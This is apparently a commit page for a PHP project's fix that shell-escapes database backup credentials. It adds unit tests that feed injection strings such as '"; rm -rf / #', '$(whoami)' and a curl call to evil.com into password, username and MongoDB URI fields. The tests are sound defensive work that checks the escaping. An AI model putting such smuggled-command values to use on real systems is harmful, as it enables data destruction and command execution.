fix(backup): use escapeshellarg for credentials in database backup commands

Apply proper shell escaping to all user-controlled values interpolated into
backup shell commands (PostgreSQL username/password, MySQL/MariaDB root
password, MongoDB URI). Also URL-encode MongoDB credentials before embedding
in connection URI. Adds unit tests for escaping behavior.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Andras Bacsai
2026-03-25 23:43:57 +01:00
co-authored by Claude Opus 4.6
parent ad95d65aca
commit 952f324797
2 changed files with 116 additions and 29 deletions
+80
View File
@@ -142,3 +142,83 @@ test('validateDatabasesBackupInput rejects injection in database name within mon
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
->toThrow(Exception::class);
});
// --- Credential escaping tests for database backup commands ---
test('escapeshellarg neutralizes command injection in postgres password', function () {
$maliciousPassword = '"; rm -rf / #';
$escaped = escapeshellarg($maliciousPassword);
// The escaped value must be a single shell token that cannot break out
expect($escaped)->not->toContain("\n");
expect($escaped)->toBe("'\"; rm -rf / #'");
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
expect($command)->toContain("PGPASSWORD='");
expect($command)->not->toContain('PGPASSWORD=""');
});
test('escapeshellarg neutralizes command injection in postgres username', function () {
$maliciousUser = 'admin$(whoami)';
$escaped = escapeshellarg($maliciousUser);
expect($escaped)->toBe("'admin\$(whoami)'");
$command = "docker exec container pg_dump --username $escaped";
// The $() should be inside single quotes, preventing execution
expect($command)->toContain("--username 'admin\$(whoami)'");
});
test('escapeshellarg neutralizes command injection in mysql password', function () {
$maliciousPassword = 'pass" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousPassword);
$command = "docker exec container mysqldump -u root -p$escaped db";
// The password must be wrapped in single quotes
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
});
test('escapeshellarg neutralizes command injection in mariadb password', function () {
$maliciousPassword = "pass'; whoami; echo '";
$escaped = escapeshellarg($maliciousPassword);
// Single quotes in the value get escaped as '\''
expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
$command = "docker exec container mariadb-dump -u root -p$escaped db";
// Verify the command doesn't contain an unescaped semicolon outside quotes
expect($command)->toContain("-p'pass'");
});
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
$maliciousUser = 'admin";$(whoami)';
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
$encodedUser = rawurlencode($maliciousUser);
$encodedPass = rawurlencode($maliciousPass);
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
// Special characters should be percent-encoded
expect($encodedUser)->not->toContain('"');
expect($encodedUser)->not->toContain('$');
expect($encodedUser)->not->toContain('(');
expect($encodedPass)->not->toContain('@');
expect($encodedPass)->not->toContain('/');
expect($encodedPass)->not->toContain('?');
expect($encodedPass)->not->toContain('&');
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
$atCount = substr_count($url, '@');
expect($atCount)->toBe(1);
});
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousUrl);
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
// The entire URI must be inside single quotes
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
expect($command)->toContain("evil.com #'");
// No unescaped double quotes that could break the command
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
});